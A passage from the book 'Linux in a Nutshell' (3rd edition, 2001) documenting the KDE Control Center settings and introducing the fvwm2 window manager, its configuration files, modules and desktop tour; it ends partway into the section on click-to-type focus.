The Fonts tab lets you choose the font style and size for the Greeting, Fail, and Standard screen messages. Select which type you want to configure from the drop-down list and click the Change Font button. The pop-up window shows a list of available fonts and lets you set the point size. Click the OK button to close the pop-up window. The font you have chosen is displayed in the Example area of the tab.

The Background tab lets you select the background for the login screen. Like the desktop background, you can choose a color or wallpaper to use.

The Users tab allows you to show a list of users on the login screen. The users are listed by username with a logo above the login boxes. A user can simply click her logo to automatically enter her name into the login box, but she still must supply her password. The tab contains listings for all users, selected users, and no-show users. You can select names from the lists and use the arrow buttons to move them from one box to another. Two options are available for who to display on the login screen. You can place names in the selected users list and click the Show Only Selected Users button. Or, you can edit the all users list and click the Show All Users But No-Show Users button. No-show users are user IDs that are used to control access-restricted system resources (e.g., root, news, and nobody).

The Sessions tab configures session settings. The drop-down list at the top sets who is allowed to shut down the system. You have the choices None, All, Root Only, and Console Only. The Commands section allows you to set the commands used for shutdown and restart. The Session Types section configures the list of session types that a user can log into from the login screen. The Default list contains the various environments that are installed on your system such as KDE and GNOME. You can add a new type or remove a type from the listing.

16.3.1.2. File manager

This module contains configuration settings for kfm, the KDE file manager and browser. The first tab contains the font settings. Set the font size used in the file manager to either small, medium, or large by selecting the corresponding button. You can set the font styles used for displayed files or web pages with the Standard Font and Fixed Font settings. You can also set the character set to use.

The Color tab allows you to set the colors used for background, text, and links. You can set two colors for URL links: one for new links and one for links that have already been followed (as recorded by the URL history). There are also settings to change the cursor when it is over a link, underline links, and override HTML-specified colors with the default colors set on this tab.

The Other tab allows you to enable URL-specific settings. If you have set certain properties to view a certain URL or local directory, like menu bar display or the view settings, you can have them saved for the next time you visit that URL. The Tree View Follows Navigation button causes the directory tree in the left pane of the file manager to match the current open folders in the right pane. The final settings on this page allow you to select the default programs the file manager uses for a terminal when you use Open Terminal from the File Menu and the editor used to view the source of documents.

16.3.1.3. Web browser

This module configures settings used for kfm's web browsing functionality.

If your system is behind a firewall, you may need to use a proxy server for HTTP and FTP services. The Proxy tabs lets you enable the use of a proxy and configure it. Check the Use Proxy box, and supply the hostname or IP address for the proxy server and the port number to use. Some sites may not work properly when accessing them through a proxy server. The No Proxy For: box lets you specify a list of hostnames and domains that will not be accessed via the proxy server.

The HTTP tab sets a few of the parameters sent in HTTP requests by the browser. The Accept Languages box contains a list of two-letter abbreviations used to indicate the language that the browser can accept. The abbreviations, like en for English and fr for French, can be comma-or-space separated. The order of the list determines the preference of language. The Accept-Language HTTP request header is configured with this setting.

The Accept Character Sets box contains a list of character sets that the browser is capable of receiving. (This sets the Accept-Charset HTTP request header.) The list can accept the standardized character set strings, separated by spaces or commas. The Assume HTML button tells the browser to render as HTML documents whose type is not fully specified from the server response header.

The User Agent tab allows you to specify the user-agent string reported by the browser for sites that may not recognize kfm, or anything that's not a major commercial web browser. The user-agent string contains the name and version number of the client program making the request. The default for kfm at the time of this writing is "Konqueror/1.1.2". To set a different string for a specific server, type the server name in the On Server box and supply the user-agent string in the Login As box. Click Add to save this setting. All settings will be listed in the Known Bindings box. If you want to remove a setting, select it from the list, and click the Delete button.

The Cookies tab configures how kfm will manage cookies. Cookies are not used at all unless you check the Enable Cookies box at the top of the tab. You should set the default cookie policy to either accept all cookies, reject all cookies, or prompt for action each time a cookie is received. You can specify the policy for individual domains as well. Type the domain into the Change Domain Accept Policy box, and specify Accept, Ask, or Reject for the policy. Click the Change button, and the setting is saved. You will see it listed in the Domain Specific Settings list. If you would like to remove a setting, select it from the list and click the Delete button.

16.3.1.4. Panel

The panel configuration module controls the panel, the toolbar, virtual desktops, and the disk navigator.

The Panel tab contains settings for the location of the panel. You can choose to place it at the top, bottom, left side, or right side of the screen by clicking the appropriate radio button. Three settings are available to set the size of the panel to either Tiny, Normal, or Large. You also have choices for how the taskbar is displayed. If you do not want the taskbar to be displayed at all, click the Hidden radio button. If you want the taskbar displayed fully across the top or bottom of the screen, click either the Top or Bottom button. If you choose the Bottom option, the taskbar will appear just above the panel. Finally, the Top/Left option displays the taskbar at the top-left corner of your screen, with window buttons stacked on top of each other.

The Options tab, shown in Figure 16-7, is divided into three sections. The Menu Tooltips section contains a button to enable tooltips to be shown on menu items. You can use the slider to set the amount of time that the pointer is held over the item before the tooltip appears. The Visuals section allows you to set the panel and taskbar to autohide (i.e., disappear when not being used). Enable these settings by clicking the Auto Hide Panel and Auto Hide Taskbar buttons. Each option has two slider settings if autohide is enabled. The Delay slider sets the amount of time after use (after the pointer has left the panel/taskbar) that the panel will reduce. The Speed slider sets how fast or slow the panel or taskbar will open and hide. The Animate Show/Hide setting enables the panel to use a sliding visual effect when you show or hide it with its side arrow buttons. The slider sets the speed of this animation.

Figure 16-7. Panel options configuration

The Options tab contains the following additional settings:

Personal Menu Entries First

Check this box to display your personal menu section instead of the default system menu at the top of the main menu. The system menus will be contained in the default submenu.

Menu Folders First

Check this box if you want folders to appear at the top of your personal menu, above individual items. This setting can be overridden by customizing the menu order with the menu editor.

Clock Shows Time in AM/PM Format

This option enables AM/PM designation on your panel clock. Otherwise, the hour listing will range from 00 to 24.

Clock Shows Time in Internet Beats

This option allows you to have the panel clock display the Swatch-created time format, which divides a day into 1000 beats, in the GMT+1 time zone.

The Desktops tab sets the number of virtual desktops you can divide your workspace into. The default is 4, and you can use up to 8. The Visible slider selects the number of desktops (you can choose only even numbers). The desktops are listed, numbered 1 through 8. If enabled, the desktop listing has a usable textbox next to it. You can type in a label for the desktop that will be used in the pager display on the panel. The Width slider sets the width of the pager buttons shown on the panel.

The Disk Navigator tab allows you to configure the disk navigator shown on the menu and the taskbar. The History section of this tab has two buttons: Edit Personal and Edit Shared, which allow you to edit the contents of the Personal and Shared sections of the disk navigator from the file manager.

The Edit Personal button opens kfm in the ~/.kde/share/apps/kdisknav directory. This folder in the user's home directory contains kdelnk files for the items displayed in the Personal section of the disk navigator. The Edit Shared button opens /usr/share/apps/kdisknav in kfm, which contains kdelnk files for the contents of the Shared section. This directory can be edited only by root; other users will have this button disabled.

Additional options set the number of folder entries and file entries displayed in the Recent section of the disk navigator and the maximum number of files that can be displayed in a folder.

The Options section of the Disk Navigator tab contains buttons for the following settings: Show Dot Files (which shows the hidden files that start with a dot), Show Shared Section, Show Recent Section, Show Personal Section, Show Option Entry, and Ignore Case When Sorting. There is also a selection for the default terminal application to use.

16.3.2. Desktop

The Desktop modules set preferences for the visual display of your environment. You can individually set the background, fonts, or window colors or use the Theme Manager to configure all of the settings from an installed package.

16.3.2.1. Background

This module sets the desktop background. It allows you to specify a background for each virtual desktop or just one for all of them. Select the desktop you want to configure from the list, or check the Common Background box. You can use colors or a wallpaper image for your background. The One Color setting applies a solid color to the background. The Two Color setting lets you choose a blend of two colors. Select the colors you desire by clicking on the color bars. The Setup button opens a dialog box for two-color settings. You can select to blend the colors vertically, horizontally, or with a pattern.

If you would like to use an image file as wallpaper on the background, select it from the drop-down list, or click the Browse button to look for the image on the filesystem. The Arrangement setting determines how the image file is laid out. You can choose from the basic tiling layout to such effects as symmetrical mirroring. You can also choose a random background. A new image file and settings will be used every session.

16.3.2.2. Borders

This module sets up border properties for windows and the screen. Active desktop borders enable you to switch between desktops by moving the mouse pointer to an adjacent screen edge. Check the box to enable this setting. The Desktop switch-delay slider sets a delay time for the switch to the adjacent desktop. Set this time to a comfortable setting that doesn't cause an unwanted desktop switch every time you move the pointer to the screen edge. Check the Move Pointer Towards Center After Switch box if you want the pointer to go to the center of the screen when you switch desktops.

Magic Borders sets up "snap-to" zones around windows and at the edge of screens. You can set the width of zones, in pixels, in which moved windows will be placed.

16.3.2.3. Colors

The Colors module allows you to select the colors for the various window widgets, the components used to build windows. You can select the colors based on a scheme installed on your system. Available schemes are listed. Select one from the list, and click Add to change the color scheme. You can also set colors for individual components. The top of the tab shows sample windows components. Click on the component you want to configure, such as the active titlebar or window background to select it. You can also select a component from the widget color list. Click the color bar under the list to open the color selector dialog box and choose your color. You can also set the contrast of the component with the Contrast slider.

16.3.2.4. Fonts

The Fonts module sets the default fonts used in your display. You can set the font for the following listed selections: the general font, fixed-width font, window titles, panel buttons, and the panel clock. You can set the typeface of the font from the drop-down list and choose if you want it either bold or italic. Select the point size of the font, and optionally change the character set used. A sample of the selected font is displayed at the bottom of the window.

16.3.2.5. Desktop icons

This module controls the display of icons on the desktop. Icons are placed along invisible grid lines on the desktop. The grid spacing sets the number of pixels surrounding each icon. Two controls allow you to set the horizontal grid spacing and the vertical grid spacing.

Labels for icons are displayed with transparent backgrounds, allowing the background to be visible underneath them by default. Uncheck the Transparent Text for Desktop Icons box if you would like to view the background box of the label. You can set the color of text labels by clicking the Icon Foreground Color button. If backgrounds are nontransparent, you can choose their color by clicking the Icon Background Color button.

The final setting on this tab allows you to show hidden files (files that begin with a dot) on the desktop.

16.3.2.6. DPMS

DPMS stands for Display Power Management System. If your hardware supports power management, you can enable it by clicking the DPMS enabled button. Now you can set the amount of idle time before the system goes to standby mode, then suspend mode, and finally turns off.

16.3.2.7. Theme manager

Themes provide an overall visual style to your desktop, instead of you having to configure items individually. A theme can determine the color scheme of windows, the font styles, icons, the background, and even sound events for your desktop. A couple of themes are installed by default with KDE, and many more are available for downloading at http://kde.themes.org.

TheInstaller tab, shown in Figure 16-8, lists the themes you have installed on your system. These include global themes, which are stored in the /share/apps/ kthememgr/Themes directory of your default KDE directory, and local themes, stored in ~/.kde/share/apps/kthememgr/Themes in your home directory. Local themes are themes that are installed or customized by the user and stored in his home directory. The user is able to edit and save local themes. Global themes cannot be altered by individual users.

Figure 16-8. Theme Manager installer

If you select a theme from the list, a sample desktop image using the theme is displayed on the tab, with a short text description. If you would like to apply a new theme, select from the list and click the Apply button. The selected theme will be copied to the user's theme manager work directory (~/.kde/share/apps/kthememgr/Work).

You can also manage installed themes on the Installer tab. To install a new theme that you have downloaded, click the Add button. Specify the filename and location of the theme's .tgz file in the pop-up dialog box and click OK. The Save button lets you save the currently configured theme as local or save a global theme as local. The Save As button saves the currently configured theme as a separate local package without altering the original theme. The Create button works similarly, allowing you to copy your current working theme as a new local theme package. The Remove button deletes a local theme or inactivates a global theme.

The Contents tab shows the components that are configured by a theme. A theme may not have settings available for all the listed components. If a theme configures a specific component, it is listed as available. Otherwise, the component is listed as empty. Use the checkboxes to select which theme components you want to use. If you choose to not activate a specific component, information on that component from a previous theme will be used if its information is still in the theme manager work directory. If you don't want this to happen, activate the component, even if it is listed as empty, and default settings will be used.

The About tab shows you author and version information for a selected theme.

16.3.2.8. Language

The Language module sets the preferred locale (language) settings for your programs. The drop-down lists allow you to choose first, second, and third choices for the language, if programs make them available.

16.3.2.9. Screensaver

This module sets up your screensaver. A list of available screensavers is shown with a preview window. If you do not want to use the screensaver, select No Screensaver from the top of the list. Otherwise, select the screensaver you want to use. The Setup button opens a dialog box that contains specific configuration settings for each screensaver. For a full-screen test of the screensaver, click the Test button.

The Settings section allows you to set the amount of time the system is inactive before the screensaver starts. Type in the number of minutes in the Wait For box to set this time. If you check the Require Password box, the user must supply her password before returning to the desktop. You can also check the box to Show Password as Stars to display the password text as asterisks, instead of the field being blank. The Priority control lets you adjust the priority that the screensaver process has when it is run. If you have lots of important server activity, for example, set the priority to low so the performance of other programs will not suffer.

16.3.2.10. Style

The Style module contains a couple of settings for the display of windows and icons. Draw Widgets in the Style of Windows 95 enables window components to have a similar look to those used in Windows. The Menu bar on Top of the Screen in the Style of MacOS setting places a window's menu bar across the top of screen. Apply Fonts and Colors to Non-KDE Apps will apply the styles you've chosen to programs that were not written for KDE.

The Icon Style section allows you to set the size of icons to either Normal or Large. You can set the size for icons in the following locations: on the panel, in the file manager and desktop, and at all other locations.

16.3.3. Information

The Information modules allow you to view status information about various system components. There are no configuration settings here, but if you need to see information about your processor or what PCI devices you have installed, use these modules. Information is provided for the following system components:

  • Devices

  • DMA-Channels

  • Interrupts

  • IO-Ports

  • Memory

  • Partitions

  • PCI

  • Processor

  • SCSI

  • Samba Status

  • Sound

  • X-Server

16.3.4. Input Devices

The modules here control the configuration of the keyboard and mouse.

16.3.4.1. Keyboard

This module configures keyboard repeat. Select the On option to enable keyboard repeat, and use the slider to set the volume of keyclicks. If you don't want keyclicks, set the slider to 0.

16.3.4.2. Mouse

This module configures the movement and button layout of your mouse. The Acceleration slider sets the speed at which the pointer moves on your screen when you move your mouse. The Threshold slider set the distance (in pixels) that the mouse must move before pointer movement occurs. The Button Mapping options let you choose if you use the mouse with your right hand or left hand.

16.3.5. Keyboard Shortcuts

You can choose the scheme used for shortcuts by selecting the KDE defaults or the current scheme if you have customized the shortcuts. The bottom section of the tab allows you to edit the selected keyboard shortcut. You can choose no key for the action, the default key, or a custom key. If you want to customize a key, check the box for the modifier you want to use (Shift, Ctrl, or Alt), or unselect all of them if you don't want a modifier. Then click the key button and press the key on the keyboard that you want to use. Click the Save Changes button if you want to save the change to the current scheme.

16.3.5.1. Global keys

The following table lists the keyboard combinations that cause global window events:

Keys | Action
Alt-Esc, Ctrl-Esc | Displays a list of currently running applications
Alt-Tab, Alt-Shift-Tab | Switches among windows on the desktop
Ctrl-Tab, Ctrl-Shift-Tab | Switches among virtual desktops
Alt-F2 | Opens the single-command-line utility
Alt-F3 | Opens the control menu of the current window
Alt-F4 | Closes the current window
Ctrl-F[1..8] | Switches to the correspondingly numbered virtual desktop
Ctrl-Alt-Esc | Kills the current window

16.3.5.2. Standard keys

The standard key mappings are shortcuts to common actions that you would find in most KDE programs like the file manager or graphical text editor.

Keys | Actions
Ctrl-W | Close
Ctrl-C | Copy
Ctrl-X | Cut
Ctrl-End | End
Ctrl-F | Find
F1 | Help
Ctrl-Home | Home
Ctrl-Insert | Insert
Ctrl-N | New
PageDown | Next
Ctrl-O | Open
Ctrl-V | Paste
Ctrl-P | Print
PageUp | Prior (or Previous)
Ctrl-Q | Quit
Ctrl-R | Replace
Ctrl-S | Save
Ctrl-Z | Undo

16.3.6. Sound

The modules contained in this section configure the keyboard bell and other system sounds.

16.3.6.1. Bell

This module configures the system bell.

The Volume slider sets the volume of the bell. The Pitch slider sets the tone of the slider in Hz. You can set the duration of the system bell with the Duration slider control. To listen to your settings, click the Test button.

16.3.6.2. System Sounds

Desktop themes can set .wav audio files to play for specific events, such as raising a window or clicking a dialog button. This module allows you to enable and configure sound events. Check the Enable System Sounds checkbox to enable sound events.

The tab contains two panes. The left pane contains the Event list of the available actions that you can apply a sound to. The right pane contains a list of .wav files that you can assign to actions. Selecting an event will highlight its currently assigned sound in the Sounds list. To set a sound event, select an action from the Events list, then select a sound file from the Sounds list. The Test button allows you to listen to a selected sound. Click the Apply button to save your settings.

16.3.7. Window Behavior

The modules contained in this section allow you to set the look and functions of window titlebars, mouse button actions, and focus and placement policy.

16.3.7.1. Advanced

The Keyboard and Mouse section of the Advanced tab contains the following settings:

Ctrl-Tab walks through desktops

This checkbox sets the Ctrl-Tab key combination to switch through your virtual desktops. It is checked by default.

Alt-Tab is limited to current desktop

This checkbox restricts the action of the Alt-Tab key combination to switch through windows on the current desktop only. It is checked by default.

Alt-Tab mode

This setting describes the style of using Alt-Tab to switch through windows. The KDE setting uses a graphical style. When you press Alt-Tab, a window appears indicating the current window and other available windows. The CDE setting switches directly without a graphic.

Grab the Right Mouse Button

This setting is on by default. It sets the control of the right mouse button to KDE by default. Some non-KDE applications require control over the right mouse button. If you need control for these applications, unselect this setting.

The Filters section of the Advanced tab contains settings that let you customize window styles or functions for application windows based on their titles or classes. The drop-down box contains a list of settings that you can define for a filtered window. After the Windows Will label, you can choose the following settings:

  • Have tiny decorations

  • Have no decorations

  • Never gain focus

  • Start as sticky

  • Be excluded from session management

Select a setting, then define the window in the next section, which begins with If They Match the Following. Here you have two boxes, Titles and Classes. You can define one or both properties. Put the title of the application window in the Title box and the application's class name in the Classes box. (This is usually the capitalized name of the application, preceded by an X, for example, XEmacs for an Emacs window.) You can specify more than one title or class for a window setting.

16.3.7.2. Buttons

This module configures the layout of buttons that appear on the titlebars of windows. There are five buttons: minimize (dot), maximize (square), sticky (pushpin), close (X), and menu (dash or application-specified icon). Each button has three placement options, specified by radio buttons: left, right, or off. You can place no more than three buttons on one side of the titlebar.

16.3.7.3. Mouse

This module configures the actions of mouse buttons on the various window components. Drop-down boxes contain several options, such as raise or lower, for the left, middle, and right buttons, as shown in Figure 16-9. Select from the following options in each category:

For active titlebars and frames

Raise

Lower

Operations menu

Toggle raise and lower

For inactive titlebars and frames

Activate

Activate and raise

Activate and lower

For an inactive inner window

Activate, raise, and pass click

Activate and pass click

Activate

Activate and raise

For titlebars and frames of inner windows

Move

Toggle raise and lower

Resize

Raise

Lower

Nothing

Figure 16-9. Mouse button configuration settings

16.3.7.4. Properties

This tab sets windows options and the placement and focus policy. The Windows section of the tab has three settings:

Vertical maximization only by default

Check this box to cause the maximize window command to expand a window only to the full screen height, but leaving its width unchanged.

Display content in moving windows

Check this box to enable the display of window contents when the window is moved.

Display content in resizing window

Check this box to enable the display of window contents when the window is resized.

Resize animation

This slider controls the animation of windows that are maximized or minimized. Setting the slider all the way to the left (None), disables animation, and windows will maximize or minimize instantly. You can set the speed of the animation faster by setting the slider farther to the right.

The Placement Policy section of the tab contains a drop-down box with five options for determining the initial placement of new windows on the desktop:

Smart (default)

This setting uses a placement scheme that attempts to keep windows as uncluttered as possible.

Cascade

This setting attempts to place windows in a cascaded pattern, with a set of offset positions available on each desktop.

Interactive

This setting enables the "allowed overlap" setting. If a window can be placed on the desktop without overlapping another by the specified percentage, it will be placed automatically. If the overlap exceeds the setting, you will be given manual control of the window placement.

Random

This setting randomly places a new window on the desktop.

Manual

This setting opens a window with the mouse pointer activated in move mode on the titlebar. Move the window to the desired position and click once to place the window.

The Focus Policy section sets the policy for giving a window keyboard focus and an active titlebar. The drop-down box contains four focus styles. The default is Click to Focus, which gives a window the keyboard focus and brings it to the foreground only when you click on it. The remaining settings follow the mouse and activate the Auto Raise and Click Raise options.

Click to focus

The default focus policy requires a mouseclick in a window to give it focus and raise it (bring it to the foreground). This setting uses a graphical Alt-Tab style to switch through windows on a desktop.

Focus follows mouse

This setting causes a window to receive focus when the mouse pointer enters it. The window will not come to the foreground unless the Auto Raise button is checked. The window will maintain focus until the pointer enters another window.

Classic focus follows mouse

This setting is similar to the Focus Follows Mouse setting, except that the window loses focus when the mouse pointer moves out of it. If the pointer is not in a window, no window has focus. Also, Alt-Tab switches directly among windows, without showing the graphical listing of windows.

Classic sloppy focus

This setting is similar to Focus Follows Mouse, with focus remaining in a window even when a mouse pointer leaves it. The only difference is that the nongraphical Alt-Tab style is used.

For any of the nondefault settings, you need to check either the Auto Raise or Click Raise boxes to be able to raise windows to the foreground. Click Raise raises a window when you click on it. Auto Raise raises a window after a short delay, which you can set with the Delay slider.

16.3.7.5. Titlebar

This tab contains many settings for the appearance and action of window titlebars. The Title Alignment sets the positioning of the window title in the titlebar to either Left, Middle, or Right.

The Appearance settings adjust the graphical decoration of the titlebar:

Shaded Vertically

Uses a two-color background in a top-to-bottom gradient.

Shaded Horizontally

Uses a two-color background in a left-to-right gradient.

Plain

Uses a solid color for the background.

Pixmap

Uses a pixmap image for the titlebar background. This enables the Pixmap settings, which allow you to choose images for both active and inactive titlebars. If you don't want the image to appear under the window title text for better clarity, check the box labeled No Pixmap Under Text.

The checkbox labeled Active Title has Shaded Frame gives a shadowed, 3D appearance to active titlebars.

The Mouse Action options specify the action of double-clicking on a window titlebar. The available options are (Un)Shade (the default), (Un)Maximize, Iconify, (Un)Sticky, and Close. The settings identified with (Un) are toggle settings.

Title animation can be enabled to display a sliding titlebar animation when a title is too long for the display area. The slider sets the speed of the back-and-forth motion.

Previous | Home | Next
16.2. The Panel and Taskbar | Book Index | 17. An Alternative Window Manager: fvwm2
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Alternative Window Manager: fvwm2 (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 17. An Alternative Window Manager: fvwm2

Contents:

Running fvwm2
Configuration Files
A Modular Approach
How to Implement Window Manager Customizations
A Quick Tour of the fvwm Environment
Specifying Click-to-Type Focus
Raising the Focus Window Automatically
Changing the Size of the Desktop
Having Multiple Desktops
Making the Same Window Appear on Every Page
Starting Windows on Different Desktops and Pages
If It's Too Hard (or Easy) to Move the Pointer Between Pages
Adding Keyboard Shortcuts
Customizing Menus
The FvwmWinList: Switching the Focus

Among the more appealing characteristics of a Linux system are its flexibility, its independence from industry-dominating standards, and the degree of control a user has over his own working environment. Most flavors of Linux come with a default desktop environment replete with handy tools and menus and a consistent look and feel. The most widely used of these desktop environments are GNOME and KDE, the customization of which are detailed in Chapter 15, "GNOME", and Chapter 16, "KDE", respectively.

Both of these environments put a PC-like wrapper around what is basically a no-frills Unix-based system suitable for personal computers. For some people this is a good thing. But if you don't want a lot of dialog boxes cluttering up the screen, and you're comfortable editing configuration files to customize your environment, you might instead try the fvwm2 window manager.

fvwm2 is the latest generation of a window manager called fvwm, but in neither case has it been entirely clear what fv stands for. Virtual seems a reasonable guess for the v. fvwm predates both GNOME and KDE as a program that can provide multiple virtual screens to expand your desktop real estate. But the meaning of the f in fvwm has led to much speculation. In fact, among the latest group of the program's developers are a number of cat lovers who claim the f stands for feline.

The first important concept you should understand in order to work with fvwm is that your desktop can be larger than the area of your screen. In fact, fvwm2 can let you have acres of desktop real estate in the form of virtual screens, or pages. In a typical default environment, you might have a single desktop composed of four virtual screens/pages arranged in a two-by-two grid.

You can run applications on any of the screen pages you want and navigate the entire desktop in a variety of ways. And if the default environment doesn't suit you, well, you can specify a grid of any size you like. How about three screens across and two down? No problem.

And if that isn't enough space for you, you can also have multiple desktops, each composed of multiple pages! You might use separate desktops for different applications or different projects, whatever you like. fvwm2 provides the tools for you to navigate whatever space you design.

fvwm2 is also customizable in a vast number of other ways, some of the more significant of which this chapter will summarize. What it all boils down to is maximum workspace and maximum flexibility.

17.1. Running fvwm2

Most flavors of Linux will come with some reasonably current version of fvwm2. If you're running GNOME or KDE, the easiest way to switch over to fvwm2 is to:

  1. Invoke the window manager in your X client's startup file. (Depending on your environment, this file may be called .xinitrc, .startx, .xsession, or .Xclients.)

  2. Then restart X.

Here is an excerpt from a simple startup file that has been edited to run fvwm2:

xterm -geometry +50+0 &
xterm -geometry -0+0&
fvwm2 &
xterm -title login -iconic

Although hypothetically you can run fvwm2 along with GNOME or KDE, they provide greatly overlapping functionality. What you get is an ugly hybrid and not fvwm at all.

Previous | Home | Next
16.3. The KDE Control Center | Book Index | 17.2. Configuration Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Configuration Files (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.2. Configuration Files

The key to how fvwm2 works is the configuration file it reads at startup or restart. The systemwide configuration file is called system.fvwm2rc and usually lives in the directory /etc/X11/fvwm2.

The typical system.fvwm2rc file that gets distributed should create a simple but perfectly workable environment. We'll take a look at one in the next section. There's no guarantee that the file on your system will create the same layout, but you'll get the idea.

If you want to customize fvwm2 to suit your needs, you need to make a copy of system.fvwm2rc called .fvwm2rc and put it in your home directory. This personal configuration file takes precedence over the systemwide file. You edit your .fvwm2rc file to adapt the window manager to your needs.

There are a few simple rules in editing your .fvwm2rc file. First, any line that begins with a pound sign (#) is a comment (i.e., it is not interpreted as part of the window manager definition). Second, a plus sign (+) at the beginning of a line means to repeat the first terms from the previous line. The section "Making the FvwmWinList Part of Your Default Environment," later in this chapter, illustrates the use of this syntax. The final thing to keep in mind is that it will make life simpler if you weave your own definitions into the file, respecting its current contents and their order. So, for instance, if you decide to define some function keys, put your new lines in the section of the file that already deals with keys.

In terms of fvwm2 customization, there's some good news and some bad news. The good news is that you can make an extraordinary number of changes to the way fvwm2 looks and operates. That's also the bad news. The window manager has dozens of configuration options, many very handy and easy to use, others complex and even arcane. The sum total can make the configuration file syntax daunting to anyone who isn't accustomed to serious tinkering. In fact, you could get dizzy considering the possibilities.

The fvwm2 manpage gives all of the configuration options and illustrates their use; you may also want to consult the manpages for the so-called fvwm2 modules, introduced in the next section. The web site http://www.fvwm.org is the definitive source for window manager documentation, news, source code, and updates.

This chapter should help you cut to the chase in performing some of the more basic and useful customizations, as well as some tricky but handy upgrades.

Previous | Home | Next
17. An Alternative Window Manager: fvwm2 | Book Index | 17.3. A Modular Approach
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Modular Approach (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.3. A Modular Approach

fvwm2 has been designed to allow the interested programmer or programmer wanna-be to devise new components, known to insiders as modules. A typical module is the Pager (FvwmPager), which provides a map of the desktop space and a way to navigate it, as we'll see a little later in the chapter. The Pager is a default module in just about any environment.

The FvwmWinList is another useful module. Though not as ubiquitous as the Pager, it is just as useful. The FvwmWinList is a small window that provides a list of all the windows running on all pages of all desktops. The WinList is another navigation tool, allowing you to switch the pointer focus to any application you have running and to switch the screen view so that you can use that application. More about this later.

A module is actually a separate program from fvwm2 but works in concert with it, passing commands to be executed to the window manager. Many configurations of fvwm2 have a Root menu with an FvwmModules submenu from which you can start certain of these programs. (Naturally the list of modules on the menu is configurable.) You might also edit your .fvwm2rc file to run modules in other ways (when you type certain keys, when other events happen, etc.).

Since a module is a separate program, users can write their own modules without adversely affecting fvwm2. Note, however, that you must configure fvwm2 to start the module process; you cannot start one from the command line. Note that while some modules, like the Pager, are intended to be used for the entire session, others simply perform a function and exit (e.g., RefreshWindow). Since modules are programs in their own right, many of them have their own manpages too.

Previous | Home | Next
17.2. Configuration Files | Book Index | 17.4. How to Implement Window Manager Customizations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How to Implement Window Manager Customizations (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.4. How to Implement Window Manager Customizations

If you edit your .fvwm2rc file, simply restart fvwm2 to have the changes implemented. In most environments, there will be a menu item that restarts the window manager. The vanilla setup we started with offers the item Exit fvwm2 on the Root menu. If you select that item, you'll get a submenu titled Really quit fvwm? and several items including Restart fvwm2. When you select Restart fvwm2, your configuration changes should be implemented. A slower but just as effective way is to quit the X session and start it again (presuming your session startup file includes fvwm2).

Previous | Home | Next
17.3. A Modular Approach | Book Index | 17.5. A Quick Tour of the fvwm Environment
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Quick Tour of the fvwm Environment (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.5. A Quick Tour of the fvwm Environment

In any desktop environment with multiple virtual screens/pages, you can work on only a single screenful at a time. But fvwm2 makes it easy to switch the view between pages, run applications on different pages, and move applications between them. If you refer to a particular window all the time, you can even arrange for it to appear on every page of every desktop. (We'll come back to this concept of "sticky" windows.) And you're not limited to viewing a page proper or keeping a window entirely on a single page.

Notice the long horizontal box in the bottom right corner of our sample environment (Figure 17-1). This box is the FvwmButtons module (also called the button bar). FvwmButtons is generally used to house a number of tools and applications to which the user needs frequent access. Often these are other fvwm modules.

Figure 17-1. A typical fvwm2 environment

In our sample configuration, FvwmButtons contains two other modules: the Icon Manager (FvwmIconMan) on the left side of the box and to its right, the Pager (FvwmPager). At the far right of FvwmButtons you'll also see three small application windows: xbiff (a mailbox that indicates when you have new messages), xclock, and xload (a graphic representation of your system's workload).

The Icon Manager and the Pager are tools that let you both monitor what's happening in your environment and manipulate the windows running there. The Icon Manager shows an entry for every conventional window currently on your display. If that window is iconified, the Icon Manager entry is preceded by a square that has a three-dimensional appearance. You can iconify and deiconify any window on the current page by clicking the first pointer button on the corresponding entry in the Icon Manager. (The Icon Manager always shows the windows on the current page; for a similar tool that reflects what's running on every page on every desktop, check out the FvwmWinList, described later in this chapter.)

Think of the Pager as a tiny mirror of your entire desktop(s). In a typical default environment of a single desktop composed of two-by-two screen pages, the Pager shows a small grid of four partitions separated by dotted lines. These partitions correspond to the desktop's four virtual screen pages. (If you configure for multiple desktops, a solid line is used to show the border between desktops. The section "Having Multiple Desktops," later in this chapter, tells you how to set this up.)

Each application you run appears in miniature in the Pager window. Applications with small windows are fairly hard to spot in miniature, but a blip representing them is there if you look closely. The miniature version of a larger client, like xterm, should have a readable label.

Whatever operations you perform on windows on the desktop -- e.g., move, iconify, resize, and so on -- are mirrored in the Pager. But the Pager is more than a monitor of activity; it's also a tool. Thus, you can move the miniature versions, and the actual windows will be moved. The Pager can also help you move windows between pages and desktops and select the area to be displayed on your monitor (which does not have to correspond to a page proper).

In addition to the desktop tools, fvwm2 is commonly configured to provide a slew of cascading menus beginning with the Root menu. Clicking the first pointer button on the root window should reveal this menu. The Root menu is usually a good way to start a new terminal emulator window. If you start with the default environment for your system, the Root menu is likely to have submenus like Fvwm Modules, Fvwm Window Ops (which offers items like moving, resizing, and closing windows), Fvwm Simple Config Ops (for changing focus policies, how paging works, etc.), and Exit Fvwm (for restarting or exiting the window manager, starting another one, etc.).

This chapter assumes you know how to perform basic window manager operations. We're not going to teach you how to use the Pager or all the menu items. But we will show you how to change the number of desktops the Pager shows, add menu items, configure keyboard shortcuts, and make useful customizations.

Previous | Home | Next
17.4. How to Implement Window Manager Customizations | Book Index | 17.6. Specifying Click-to-Type Focus
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Specifying Click-to-Type Focus (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

17.6. Specifying Click-to-Type Focus

Most versions of fvwm2 are configured to use the pointer focus model (FocusFollowsMouse or MouseFocus in the configuration file). This means you need to move the pointer into a window in order to type in it, post an application menu, and so forth. However, fvwm2 is somewhat more versatile than other window managers in this regard.

